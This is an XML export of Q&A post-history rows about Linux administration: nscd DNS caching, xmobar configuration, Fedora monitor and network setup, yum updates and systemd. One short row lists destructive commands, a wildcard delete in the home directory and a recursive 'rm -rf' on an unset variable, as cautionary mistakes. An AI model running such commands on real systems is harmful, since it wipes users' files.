  <row Id="14197" PostHistoryTypeId="5" PostId="6238" RevisionGUID="a8204e63-9945-4d73-8348-22ed3687b917" CreationDate="2011-01-21T10:25:53.187" UserId="29" Comment="note where this came from" Text="I'm trying to use nscd (Nameservices Cache Daemon) to cache dns locally so I can stop using bind to do it. I've gotten it started and ntpd seems to attempt to use it. But everything else for hosts seems to ignore it. e.g if I do dig apache.org 3 times none of them will hit the cache. I'm viewing the cache stats using `nscd -g` to determine whether it's been used. I've also turned the debug log level up to see if I can see it hitting and the queries don't even hit nscd.&#xD;&#xA;&#xD;&#xA;nsswitch.conf&#xD;&#xA;&#xD;&#xA;    # Begin /etc/nsswitch.conf&#xD;&#xA;    passwd: files&#xD;&#xA;    group: files&#xD;&#xA;    shadow: files&#xD;&#xA;&#xD;&#xA;    publickey: files&#xD;&#xA;&#xD;&#xA;    hosts: cache files dns&#xD;&#xA;    networks: files&#xD;&#xA;&#xD;&#xA;    protocols: files&#xD;&#xA;    services: files&#xD;&#xA;    ethers: files&#xD;&#xA;    rpc: files&#xD;&#xA;&#xD;&#xA;    netgroup: files&#xD;&#xA;    # End /etc/nsswitch.confenter code here&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;nscd.conf&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # /etc/nscd.conf&#xD;&#xA;    #&#xD;&#xA;    # An example Name Service Cache config file.  This file is needed by nscd.&#xD;&#xA;    #&#xD;&#xA;    # Legal entries are:&#xD;&#xA;    #&#xD;&#xA;    #       logfile                 &lt;file&gt;&#xD;&#xA;    #       debug-level             &lt;level&gt;&#xD;&#xA;    #       threads                 &lt;initial #threads to use&gt;&#xD;&#xA;    #       max-threads             &lt;maximum #threads to use&gt;&#xD;&#xA;    #       server-user             &lt;user to run server as instead of root&gt;&#xD;&#xA;    #               server-user is ignored if nscd is started with -S parameters&#xD;&#xA;    #       stat-user               &lt;user who is allowed to request statistics&gt;&#xD;&#xA;    #       reload-count            unlimited|&lt;number&gt;&#xD;&#xA;    #       paranoia                &lt;yes|no&gt;&#xD;&#xA;    #       restart-interval        &lt;time in seconds&gt;&#xD;&#xA;    #&#xD;&#xA;    #       enable-cache            &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       positive-time-to-live   &lt;service&gt; &lt;time in seconds&gt;&#xD;&#xA;    #       negative-time-to-live   &lt;service&gt; &lt;time in seconds&gt;&#xD;&#xA;    #       suggested-size          &lt;service&gt; &lt;prime number&gt;&#xD;&#xA;    #       check-files             &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       persistent              &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       shared                  &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       max-db-size             &lt;service&gt; &lt;number bytes&gt;&#xD;&#xA;    #       auto-propagate          &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #&#xD;&#xA;    # Currently supported cache names (services): passwd, group, hosts, services&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;        logfile                 /var/log/nscd.log&#xD;&#xA;        threads                 4&#xD;&#xA;        max-threads             32&#xD;&#xA;        server-user             nobody&#xD;&#xA;    #   stat-user               somebody&#xD;&#xA;        debug-level             9&#xD;&#xA;    #   reload-count            5&#xD;&#xA;        paranoia                no&#xD;&#xA;    #   restart-interval        3600&#xD;&#xA;&#xD;&#xA;        enable-cache            passwd          yes&#xD;&#xA;        positive-time-to-live   passwd          600&#xD;&#xA;        negative-time-to-live   passwd          20&#xD;&#xA;        suggested-size          passwd          211&#xD;&#xA;        check-files             passwd          yes&#xD;&#xA;        persistent              passwd          yes&#xD;&#xA;        shared                  passwd          yes&#xD;&#xA;        max-db-size             passwd          33554432&#xD;&#xA;        auto-propagate          passwd          yes&#xD;&#xA;&#xD;&#xA;        enable-cache            group           yes&#xD;&#xA;        positive-time-to-live   group           3600&#xD;&#xA;        negative-time-to-live   group           60&#xD;&#xA;        suggested-size          group           211&#xD;&#xA;        check-files             group           yes&#xD;&#xA;        persistent              group           yes&#xD;&#xA;        shared                  group           yes&#xD;&#xA;        max-db-size             group           33554432&#xD;&#xA;        auto-propagate          group           yes&#xD;&#xA;&#xD;&#xA;        enable-cache            hosts           yes&#xD;&#xA;        positive-time-to-live   hosts           3600&#xD;&#xA;        negative-time-to-live   hosts           20&#xD;&#xA;        suggested-size          hosts           211&#xD;&#xA;        check-files             hosts           yes&#xD;&#xA;        persistent              hosts           yes&#xD;&#xA;        shared                  hosts           yes&#xD;&#xA;        max-db-size             hosts           33554432&#xD;&#xA;&#xD;&#xA;        enable-cache            services        yes&#xD;&#xA;        positive-time-to-live   services        28800&#xD;&#xA;        negative-time-to-live   services        20&#xD;&#xA;        suggested-size          services        211&#xD;&#xA;        check-files             services        yes&#xD;&#xA;        persistent              services        yes&#xD;&#xA;        shared                  services        yes&#xD;&#xA;        max-db-size             services        33554432&#xD;&#xA;&#xD;&#xA;resolv.conf&#xD;&#xA;&#xD;&#xA;    # Generated by dhcpcd from eth0&#xD;&#xA;    nameserver 127.0.0.1&#xD;&#xA;    domain westell.com&#xD;&#xA;    nameserver 192.168.1.1&#xD;&#xA;    nameserver 208.67.222.222&#xD;&#xA;    nameserver 208.67.220.220&#xD;&#xA;&#xD;&#xA;as kind of a side note I'm using archlinux.&#xD;&#xA;&#xD;&#xA;*note: this has been moved twice, I've never figured out why apps, excluding dig, are not hitting the nscd cache, browsers, IM, irc, all should have been, but they didn't*" />
  <row Id="14198" PostHistoryTypeId="6" PostId="6238" RevisionGUID="a8204e63-9945-4d73-8348-22ed3687b917" CreationDate="2011-01-21T10:25:53.187" UserId="29" Comment="note where this came from" Text="élinuxàéarchölinuxàédnsàécacheàénscdà" />
  <row Id="14201" PostHistoryTypeId="5" PostId="1148" RevisionGUID="ed68057c-f9ff-421c-9aeb-d36725d0681e" CreationDate="2011-01-21T10:45:26.107" UserId="3645" Comment="Fixed syntax" Text="    rm -f * ~&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    rm -rf ${DIR}/&#xD;&#xA;&#xD;&#xA;when DIR was not set!" />
  <row Id="14202" PostHistoryTypeId="2" PostId="6244" RevisionGUID="41f7fdff-4c0d-4549-953e-4689121b2f40" CreationDate="2011-01-21T10:50:53.293" UserId="3645" Text="There's a neat trick to do the equivalent of `dirname` and `basename`, respectively, in Bash:&#xD;&#xA;&#xD;&#xA;    ${path%/*}&#xD;&#xA;    ${path##*/}&#xD;&#xA;&#xD;&#xA;Not so funny when `$path` contains a trailing slash..." />
  <row Id="14203" PostHistoryTypeId="25" PostId="6220" RevisionGUID="62cce166-947b-4dd4-8291-9eb62488d451" CreationDate="2011-01-21T10:55:44.597" Comment="http://twitter.com/#!/StackUnix/status/28405378064588801" />
  <row Id="14204" PostHistoryTypeId="2" PostId="6245" RevisionGUID="2c517733-b4e9-4cfb-adb2-9b95f39a7150" CreationDate="2011-01-21T12:22:19.077" UserId="688" Text="The Debian system cares so as not to mess up with your configs, but who knows? Did you recently upgrade your sudo (`cat /var/log/apt/history.log`)? Which version do you have installed? If you are running Debian Sid, you might have been adversely affected by an update to [**1.7.4p4-6**][1]. The upload was meant to fix [this bug][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.qa.debian.org/s/sudo/news/20110111T193211Z.html&#xD;&#xA;  [2]: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=609641" />
  <row Id="14205" PostHistoryTypeId="25" PostId="6199" RevisionGUID="e1e596be-9722-43d9-b1d8-e03acb991e73" CreationDate="2011-01-21T13:55:44.830" Comment="http://twitter.com/#!/StackUnix/status/28450677567004672" />
  <row Id="14206" PostHistoryTypeId="2" PostId="6246" RevisionGUID="efc439e5-8183-4d76-9f73-677fcb076940" CreationDate="2011-01-21T13:57:33.997" UserId="305" Text="I'm setting up an xmonad window manager and I came across following problem - when I try to configure xmobar and run it it shows:&#xD;&#xA;&#xD;&#xA;    xmobar: .xmobarrc: configuration file contains errors!&#xD;&#xA;    Usage: xmobar [OPTION...] [FILE]&#xD;&#xA;    Options:&#xD;&#xA;      -h, -?        --help               This help&#xD;&#xA;      -V            --version            Show version information&#xD;&#xA;      -f font name  --font=font name     The font name&#xD;&#xA;      -B bg color   --bgcolor=bg color   The background color. Default black&#xD;&#xA;      -F fg color   --fgcolor=fg color   The foreground color. Default grey&#xD;&#xA;      -o            --top                Place xmobar at the top of the screen&#xD;&#xA;      -b            --bottom             Place xmobar at the bottom of the screen&#xD;&#xA;      -a alignsep   --alignsep=alignsep  Separators for left, center and right text&#xD;&#xA;                                         alignment. Default: '}{'&#xD;&#xA;      -s char       --sepchar=char       The character used to separate commands in&#xD;&#xA;                                         the output template. Default '%'&#xD;&#xA;      -t template   --template=template  The output template&#xD;&#xA;      -c commands   --commands=commands  The list of commands to be executed&#xD;&#xA;    &#xD;&#xA;    Mail bug reports and suggestions to &lt;andrea.rossato@unitn.it&gt;&#xD;&#xA;&#xD;&#xA;My configuration file&#xD;&#xA;&#xD;&#xA;    Config { font = &quot;-*-Fixed-Bold-R-Normal-*-13-*-*-*-*-*-*-*&quot;&#xD;&#xA;           , bgColor = &quot;black&quot;&#xD;&#xA;           , fgColor = &quot;grey&quot;&#xD;&#xA;           , position = Top&#xD;&#xA;           , commands = [ Run Weather &quot;EGPF&quot; [&quot;-t&quot;,&quot;&lt;station&gt;: &lt;tempC&gt;C&quot;,&quot;-L&quot;,&quot;18&quot;,&quot;-H&quot;,&quot;25&quot;,&quot;--normal&quot;,&quot;green&quot;,&quot;--high&quot;,&quot;red&quot;,&quot;--low&quot;,&quot;lightblue&quot;] 36000&#xD;&#xA;                        , Run Cpu [&quot;-L&quot;,&quot;3&quot;,&quot;-H&quot;,&quot;50&quot;,&quot;--normal&quot;,&quot;green&quot;,&quot;--high&quot;,&quot;red&quot;] 10&#xD;&#xA;                        , Run Memory [&quot;-t&quot;,&quot;Mem: &lt;usedratio&gt;%&quot;] 10&#xD;&#xA;                        , Run Swap [] 10&#xD;&#xA;                        , Run Date &quot;%a %b %_d %l:%M&quot; &quot;date&quot; 10&#xD;&#xA;                        , Run StdinReader&#xD;&#xA;                        ]&#xD;&#xA;           , sepChar = &quot;%&quot;&#xD;&#xA;           , alignSep = &quot;}{&quot;&#xD;&#xA;           , template = &quot;%StdinReader% }{ %cpu% | %memory% * %swap%    &lt;fc=#ee9a00&gt;%date%&lt;/fc&gt; | %EGPF%&quot;&#xD;&#xA;           }&#xD;&#xA;&#xD;&#xA;Configuration copied from [haskell wiki][1]. My version of xmobar is 0.9.2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haskell.org/haskellwiki/Xmonad/Config_archive/John_Goerzen's_Configuration#Configuring_xmobar" />
  <row Id="14207" PostHistoryTypeId="1" PostId="6246" RevisionGUID="efc439e5-8183-4d76-9f73-677fcb076940" CreationDate="2011-01-21T13:57:33.997" UserId="305" Text="Problem with xmobar" />
  <row Id="14208" PostHistoryTypeId="3" PostId="6246" RevisionGUID="efc439e5-8183-4d76-9f73-677fcb076940" CreationDate="2011-01-21T13:57:33.997" UserId="305" Text="éwindowömanageràéxmobarà" />
  <row Id="14209" PostHistoryTypeId="5" PostId="6219" RevisionGUID="846f3464-b91e-4c3a-b503-59c061726bc4" CreationDate="2011-01-21T14:59:15.213" UserId="2150" Comment="fixed url" Text="My strategy was to go through the tutorial, and after that just google all the time.  Now it seems time to go through the elisp manual; problems I have these days do seem to require knowing more about that.&#xD;&#xA;&#xD;&#xA;(let me sneak in a recommendation for org-mode at http://orgmode.org)" />
  <row Id="14210" PostHistoryTypeId="2" PostId="6247" RevisionGUID="77ddc3ad-29cd-4368-9241-8fe531139c8b" CreationDate="2011-01-21T15:11:11.700" UserId="3967" Text="Hello,&#xD;&#xA;I am running F14 on my laptop, and I use it either with or without an external screen.&#xD;&#xA;&#xD;&#xA;    [nbarraille@barraille ~]$ xrandr | grep &quot; connected &quot;&#xD;&#xA;    LVDS1 connected 1280x800+1280+0 (normal left inverted right x axis y axis) 304mm x 190mm&#xD;&#xA;    VGA1 connected 1280x1024+0+0 (normal left inverted right x axis y axis) 338mm x 270mm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the VGA screen is plugged in, everytime I reboot the system sets it up so that VGA1 is a clone of LVDS1 and I have to do a:&#xD;&#xA;&#xD;&#xA;    xrandr --output VGA1 --left-of LVDS1&#xD;&#xA;&#xD;&#xA;How can I change it to the default behavior?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14211" PostHistoryTypeId="1" PostId="6247" RevisionGUID="77ddc3ad-29cd-4368-9241-8fe531139c8b" CreationDate="2011-01-21T15:11:11.700" UserId="3967" Text="How to change Fedora 14 dual-monitor default behavior (No clone)" />
  <row Id="14212" PostHistoryTypeId="3" PostId="6247" RevisionGUID="77ddc3ad-29cd-4368-9241-8fe531139c8b" CreationDate="2011-01-21T15:11:11.700" UserId="3967" Text="élinuxàéxorgàédualömonitorà" />
  <row Id="14213" PostHistoryTypeId="2" PostId="6248" RevisionGUID="034d088d-4359-411a-9cc3-0d18c5038979" CreationDate="2011-01-21T15:17:40.067" UserId="3069" Text="I've encountered the same problem yesterday. Apparently, [download.opensuse.org][1] has some stability issues.&#xD;&#xA;&#xD;&#xA;Try again to another time, or switch to a [mirror][2]. You can do this over YaST or on the command-line with `zypper`.&#xD;&#xA;&#xD;&#xA;As an example, the following commands will disable the original oss repository, add a new one from a mirror and finally refresh it.&#xD;&#xA;&#xD;&#xA;    zypper mr -d repo-oss&#xD;&#xA;    zypper addrepo http://www.gtlib.gatech.edu/pub/opensuse/distribution/11.3/repo/oss/ mirror-repo-oss&#xD;&#xA;    zypper ref&#xD;&#xA;&#xD;&#xA;And so forth for other repositories.&#xD;&#xA;&#xD;&#xA;  [1]: http://download.opensuse.org&#xD;&#xA;  [2]: http://mirrors.opensuse.org/list/11.3.html" />
  <row Id="14214" PostHistoryTypeId="5" PostId="6247" RevisionGUID="d7a580de-c527-49ce-8be8-b31adaf65d3b" CreationDate="2011-01-21T15:19:22.280" UserId="3967" Comment="added 3 characters in body" Text="Hello,&#xD;&#xA;I am running F14 on my laptop, and I use it either with or without an external screen.&#xD;&#xA;&#xD;&#xA;    [nbarraille@barraille ~]$ xrandr | grep &quot; connected &quot;&#xD;&#xA;    LVDS1 connected 1280x800+1280+0 (normal left inverted right x axis y axis) 304mm x 190mm&#xD;&#xA;    VGA1 connected 1280x1024+0+0 (normal left inverted right x axis y axis) 338mm x 270mm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the VGA screen is plugged in, everytime I reboot the system sets it up so that VGA1 is a clone of LVDS1 and I have to do a:&#xD;&#xA;&#xD;&#xA;    xrandr --output VGA1 --left-of LVDS1&#xD;&#xA;&#xD;&#xA;How can I change it to be the default behavior?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14215" PostHistoryTypeId="2" PostId="6249" RevisionGUID="2404f39a-584b-4c60-850e-6fbe4324635d" CreationDate="2011-01-21T15:46:06.403" UserId="250" Text="When I try to run xmobar with your config I have the error&#xD;&#xA;&#xD;&#xA;&gt;xmobar: user error (createFontSet)&#xD;&#xA;&#xD;&#xA;It should be different, because I'm using version 0.11.1&#xD;&#xA;&#xD;&#xA;To fix that I have to change the line with font setting to&#xD;&#xA;&#xD;&#xA;&gt;font = &quot;xft:Liberation Mono:pixelsize=10&quot;&#xD;&#xA;&#xD;&#xA;Hope that helps :)" />
  <row Id="14216" PostHistoryTypeId="2" PostId="6250" RevisionGUID="b18d67c1-50cf-4ac6-b8b2-7151d6513e38" CreationDate="2011-01-21T16:00:36.877" UserId="3976" Text="After looking through the documentation for tmux, I can't find any equivalent of screen's window logging.  It looks like you'd have to use your shell functions to do what you'd like, or just use screen.  You can turn on debugging, which logs both the server and client side, but it also includes a lot of extraneous tmux-related logs as well, so it wouldn't exactly what you're asking for.&#xD;&#xA;&#xD;&#xA;You could possibly use tmux's clipboard to automate saving the buffer to another session, which would be set up to accept the contents of the clipboard and save to a file.  This seems kind of hackish." />
  <row Id="14217" PostHistoryTypeId="2" PostId="6251" RevisionGUID="c5066368-71d8-4760-bd38-66dccbef286a" CreationDate="2011-01-21T16:13:17.013" UserId="3447" Text="Assuming you're using Gnome, try using System-&gt;Preferences-&gt;Monitors.  KDE has a similar tool in System Settings-&gt;Display.  &#xD;&#xA;I don't know if hot-plugging makes any difference, but this tool will save your settings so anytime you reboot it'll use the same settings as last time." />
  <row Id="14218" PostHistoryTypeId="2" PostId="6252" RevisionGUID="72171601-83c5-4b85-90bc-984229d070d9" CreationDate="2011-01-21T16:32:16.940" UserId="688" Text="Debian's `apt-get update` fetches and updates the package index. Being used to this way of doing things, I was surprised  to find that `yum update` does all that and also upgrades the system. Thinks makes me curious, how do I update the package index without installing anything?" />
  <row Id="14219" PostHistoryTypeId="1" PostId="6252" RevisionGUID="72171601-83c5-4b85-90bc-984229d070d9" CreationDate="2011-01-21T16:32:16.940" UserId="688" Text="What is yum equivalent of 'apt-get update'?" />
  <row Id="14220" PostHistoryTypeId="3" PostId="6252" RevisionGUID="72171601-83c5-4b85-90bc-984229d070d9" CreationDate="2011-01-21T16:32:16.940" UserId="688" Text="épackageömanagementàéyumàéaptà" />
  <row Id="14222" PostHistoryTypeId="2" PostId="6254" RevisionGUID="796beb3a-a9a0-4999-bc5c-eb6735a6cf11" CreationDate="2011-01-21T16:52:56.930" UserId="3069" Text="The `check-update` command will refresh the package index and check for available updates:&#xD;&#xA;&#xD;&#xA;    yum check-update" />
  <row Id="14223" PostHistoryTypeId="25" PostId="6252" RevisionGUID="39ca13e0-26a6-4039-afbe-96429b6eae69" CreationDate="2011-01-21T16:55:46.313" Comment="http://twitter.com/#!/StackUnix/status/28495982073225216" />
  <row Id="14224" PostHistoryTypeId="2" PostId="6255" RevisionGUID="b6cdcf18-d2ab-487f-b3f5-bb636136adeb" CreationDate="2011-01-21T17:18:01.360" UserId="688" Text="I have removed NetworkManager package from Fedora 14. How do I make it access the network now?" />
  <row Id="14225" PostHistoryTypeId="1" PostId="6255" RevisionGUID="b6cdcf18-d2ab-487f-b3f5-bb636136adeb" CreationDate="2011-01-21T17:18:01.360" UserId="688" Text="How to access network with Fedora without NetworkManager?" />
  <row Id="14226" PostHistoryTypeId="3" PostId="6255" RevisionGUID="b6cdcf18-d2ab-487f-b3f5-bb636136adeb" CreationDate="2011-01-21T17:18:01.360" UserId="688" Text="énetworkingàéfedoraà" />
  <row Id="14227" PostHistoryTypeId="5" PostId="6255" RevisionGUID="b89b7097-1471-4679-98f0-c0f2d620ed76" CreationDate="2011-01-21T17:30:00.237" UserId="688" Comment="added 131 characters in body; edited title" Text="If I don't have NetworkManager installed on Debian, I edit &quot;**/etc/network/interfaces**&quot; and then run `ifup eth0`. I see that things are different in Fedora 14 (the directory and the command aren't available). How do I do it?" />
  <row Id="14228" PostHistoryTypeId="4" PostId="6255" RevisionGUID="b89b7097-1471-4679-98f0-c0f2d620ed76" CreationDate="2011-01-21T17:30:00.237" UserId="688" Comment="added 131 characters in body; edited title" Text="How to access network without NetworkManager?" />
  <row Id="14229" PostHistoryTypeId="2" PostId="6256" RevisionGUID="fdbfd65a-7d9f-4274-bf04-af32381305a9" CreationDate="2011-01-21T17:30:21.257" UserId="3976" Text="You can continue to use the 'network' service.  Just run &#xD;&#xA;&#xD;&#xA;    sudo /sbin/chkconfig network on&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    sudo /sbin/service network start&#xD;&#xA;&#xD;&#xA;and it will start the interfaces that are set up in /etc/sysconfig/network-scripts/ifcfg-*.  You might want to check the settings in those files to make sure that the interface you want to start automatically on boot is set &quot;ONBOOT=yes&quot;." />
  <row Id="14230" PostHistoryTypeId="5" PostId="6256" RevisionGUID="db4ddfc2-f4e8-452f-b8c9-3c46f9b27f11" CreationDate="2011-01-21T17:37:00.690" UserId="3976" Comment="added 156 characters in body" Text="You can continue to use the 'network' service.  Just run &#xD;&#xA;&#xD;&#xA;    sudo /sbin/chkconfig network on&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    sudo /sbin/service network start&#xD;&#xA;&#xD;&#xA;and it will start the interfaces that are set up in /etc/sysconfig/network-scripts/ifcfg-*.  You might want to check the settings in those files to make sure that the interface you want to start automatically on boot is set &quot;ONBOOT=yes&quot;.  For an interface to edit those files, you can use 'system-config-network' which is part of the system-config-network package (if not already installed).  " />
  <row Id="14231" PostHistoryTypeId="2" PostId="6257" RevisionGUID="e5b19d1e-6595-4695-94e9-1be2b174ba49" CreationDate="2011-01-21T18:14:42.927" UserId="688" Text="I last updated my Fedora 14 install weeks ago, so I expected a slew of new packages waiting for me, but after I run `yum update`, I instead get:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    Setting up Update Process&#xD;&#xA;    No Packages marked for Update" />
  <row Id="14232" PostHistoryTypeId="1" PostId="6257" RevisionGUID="e5b19d1e-6595-4695-94e9-1be2b174ba49" CreationDate="2011-01-21T18:14:42.927" UserId="688" Text="How come I don't have package updates in Fedora?" />
  <row Id="14233" PostHistoryTypeId="3" PostId="6257" RevisionGUID="e5b19d1e-6595-4695-94e9-1be2b174ba49" CreationDate="2011-01-21T18:14:42.927" UserId="688" Text="éfedoraàépackageömanagementàéyumà" />
  <row Id="14234" PostHistoryTypeId="5" PostId="6189" RevisionGUID="ef513e3d-5dd7-4659-bb7f-b2155733658a" CreationDate="2011-01-21T19:07:33.973" UserId="29" Comment="add info about upstart" Text="Saw `systemd` mentioned on [Arch General ML](http://mailman.archlinux.org/pipermail/arch-general/2011-January/017971.html) today. So read up on it. [The H Online](http://www.h-online.com) as ever is a great source for Linux Technology and is where I found my place to start researching [Systemd as SysV Init and Upstart alternative](http://www.h-online.com/open/news/item/Systemd-presented-as-SysV-Init-and-Upstart-alternative-991875.html). However the H Online article (in this case) isn't a very useful read, the real use behind it is it gives links to the useful reads.&#xD;&#xA;&#xD;&#xA;The real answer is in the [announcement of systemd](http://0pointer.de/blog/projects/systemd.html). Which gives some crucial points of what's wrong with SysV initd, and what new systems need to do&#xD;&#xA;&#xD;&#xA; * &lt;blockquote&gt;To start less.&lt;/blockquote&gt;&#xD;&#xA; * &lt;blockquote&gt;And to start more in parallel.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;It's major plan to do this seems to be to start services only as they're needed, and to start a socket for that service, so that the service that needs it can connect to the created socket long before the daemon is fully online. Apparently a socket will retain a small amount of buffered data meaning that no data will be lost during the lag, it will be handled as soon as the daemon is online.&#xD;&#xA;&#xD;&#xA;Another part of the plan seems to be to not serialize filesystems, but instead mount those on demand as well, that way you're not waiting on your `/home/`, etc (not to be confused with `/etc`) to mount, and/or `fsck` when you could be starting daemons as `/` and `/var/` etc, are already mounted. It said it was going to use autofs to this end.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It also has the goal of creating `.desktop` style init descriptors as a replacement for scripts. This will prevent tons of slow `sh` processes and even more forks of processes from things like `sed` and `grep` that are often used in shell scripts.&#xD;&#xA;&#xD;&#xA;They also plan not to start some services until they are asked for, and perhaps even shut them off if they are no longer needed, bluetooth module, and daemon are only needed when you're using a bluetooth device for example. Another example given is the ssh daemon. This is the kind of thing that inetd is capable of. Personally I'm not sure I like this, as it might mean latency when I do need them, and in the case of ssh I think it means a possible security vulnerability, if my inetd were compromised the whole system would be. However, I've been informed that using this to breach this system is infeasible and that if I want to I can disable this feature per service and in other ways.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another feature is apparently going to be the capability to start based on time events, either at a regularly scheduled interval or at a certain time. This is similar to what `crond` and `atd` do now. Though I was told it will not support user &quot;cron&quot;. Personally this sounds like the most pointless thing. I think this was written/thought up by people who don't work in multiuser environments, there isn't much purpose to user cron if you're the only user on the system, other than not running as root. I work on multiuser systems daily, and the rule is always run user scripts as the user. But maybe I don't have the foresight they do.&#xD;&#xA;&#xD;&#xA;It seems for the most part the systemd's peoples problem with upstart is the event system, and that they believe it to not make sense or be unnecessary. Perhaps their words put it best.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Or to put it simpler: the fact that the user just started D-Bus is in no way an indication that NetworkManager should be started too (but this is what Upstart would do). It's right the other way round: when the user asks for NetworkManager, that is definitely an indication that D-Bus should be started too (which is certainly what most users would expect, right?).&lt;/blockquote&gt;&lt;blockquote&gt;&#xD;&#xA;A good init system should start only what is needed, and that on-demand. Either lazily or parallelized and in advance. However it should not start more than necessary, particularly not everything installed that could use that service.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;As I've already said this is discussed much more comprehensively in the [announcement of systemd](http://0pointer.de/blog/projects/systemd.html)." />
  <row Id="14236" PostHistoryTypeId="5" PostId="6189" RevisionGUID="75913185-e648-4e52-8008-aef8e82ee69c" CreationDate="2011-01-21T19:18:02.523" UserId="29" Comment="disadvantage of systemd" Text="Saw `systemd` mentioned on [Arch General ML](http://mailman.archlinux.org/pipermail/arch-general/2011-January/017971.html) today. So read up on it. [The H Online](http://www.h-online.com) as ever is a great source for Linux Technology and is where I found my place to start researching [Systemd as SysV Init and Upstart alternative](http://www.h-online.com/open/news/item/Systemd-presented-as-SysV-Init-and-Upstart-alternative-991875.html). However the H Online article (in this case) isn't a very useful read, the real use behind it is it gives links to the useful reads.&#xD;&#xA;&#xD;&#xA;The real answer is in the [announcement of systemd](http://0pointer.de/blog/projects/systemd.html). Which gives some crucial points of what's wrong with SysV initd, and what new systems need to do&#xD;&#xA;&#xD;&#xA; * &lt;blockquote&gt;To start less.&lt;/blockquote&gt;&#xD;&#xA; * &lt;blockquote&gt;And to start more in parallel.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;It's major plan to do this seems to be to start services only as they're needed, and to start a socket for that service, so that the service that needs it can connect to the created socket long before the daemon is fully online. Apparently a socket will retain a small amount of buffered data meaning that no data will be lost during the lag, it will be handled as soon as the daemon is online.&#xD;&#xA;&#xD;&#xA;Another part of the plan seems to be to not serialize filesystems, but instead mount those on demand as well, that way you're not waiting on your `/home/`, etc (not to be confused with `/etc`) to mount, and/or `fsck` when you could be starting daemons as `/` and `/var/` etc, are already mounted. It said it was going to use autofs to this end.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It also has the goal of creating `.desktop` style init descriptors as a replacement for scripts. This will prevent tons of slow `sh` processes and even more forks of processes from things like `sed` and `grep` that are often used in shell scripts.&#xD;&#xA;&#xD;&#xA;They also plan not to start some services until they are asked for, and perhaps even shut them off if they are no longer needed, bluetooth module, and daemon are only needed when you're using a bluetooth device for example. Another example given is the ssh daemon. This is the kind of thing that inetd is capable of. Personally I'm not sure I like this, as it might mean latency when I do need them, and in the case of ssh I think it means a possible security vulnerability, if my inetd were compromised the whole system would be. However, I've been informed that using this to breach this system is infeasible and that if I want to I can disable this feature per service and in other ways.&#xD;&#xA;&#xD;&#xA;Another feature is apparently going to be the capability to start based on time events, either at a regularly scheduled interval or at a certain time. This is similar to what `crond` and `atd` do now. Though I was told it will not support user &quot;cron&quot;. Personally this sounds like the most pointless thing. I think this was written/thought up by people who don't work in multiuser environments, there isn't much purpose to user cron if you're the only user on the system, other than not running as root. I work on multiuser systems daily, and the rule is always run user scripts as the user. But maybe I don't have the foresight they do, and it will in no way make it so that I can't run `crond` or `atd`, so it doesn't hurt anyone but the developers I suppose.&#xD;&#xA;&#xD;&#xA;The big disadvantage of systemd is that some daemons will have to be modified in order to take full advantage of it. They'll work now, but they'd work better if they were written specifically for its socket model.&#xD;&#xA;&#xD;&#xA;It seems for the most part the systemd's peoples problem with upstart is the event system, and that they believe it to not make sense or be unnecessary. Perhaps their words put it best.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Or to put it simpler: the fact that the user just started D-Bus is in no way an indication that NetworkManager should be started too (but this is what Upstart would do). It's right the other way round: when the user asks for NetworkManager, that is definitely an indication that D-Bus should be started too (which is certainly what most users would expect, right?).&lt;/blockquote&gt;&lt;blockquote&gt;&#xD;&#xA;A good init system should start only what is needed, and that on-demand. Either lazily or parallelized and in advance. However it should not start more than necessary, particularly not everything installed that could use that service.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;As I've already said this is discussed much more comprehensively in the [announcement of systemd](http://0pointer.de/blog/projects/systemd.html)." />
  <row Id="14237" PostHistoryTypeId="2" PostId="6258" RevisionGUID="8b022bdc-b6ae-4793-9c92-5765bbf5856d" CreationDate="2011-01-21T19:24:34.980" UserId="3309" Text="This could happen if the packages were purged and reinstalled. Purging removes old config files and reinstall would bring you back to the default state." />
  <row Id="14238" PostHistoryTypeId="25" PostId="6255" RevisionGUID="87293f61-6994-48c5-8c75-9d500164bee5" CreationDate="2011-01-21T19:55:46.827" Comment="http://twitter.com/#!/StackUnix/status/28541282703904768" />
  <row Id="14239" PostHistoryTypeId="2" PostId="6259" RevisionGUID="3f12bcfb-3116-4f57-a5b4-e7dc785582da" CreationDate="2011-01-21T20:35:12.193" UserId="29" Text="I currently use [Ping.fm](http://ping.fm) to post to multiple social networks at once, but it's been irritating me for a while and I'm thinking of writing a tool to replace it for myself. But I figure it's possible that someone has already done that. To be a suitable replacement it needs to handle twitter, and facebook; myspace, linkedin, and google buzz are a bonus, of course everything else is frosting. In addition to allowing *me* to send messages it must also be able to read multiple rss feeds and aggregate them to the networks I set up. If 2 or more tools, in conjunction can be made to do this that is also acceptable, e.g. `feedreader | cleanupforstream | post2stream`.&#xD;&#xA;&#xD;&#xA;If it doesn't exist I think I'll just right some Perl to do it for me, and put it on CPAN." />
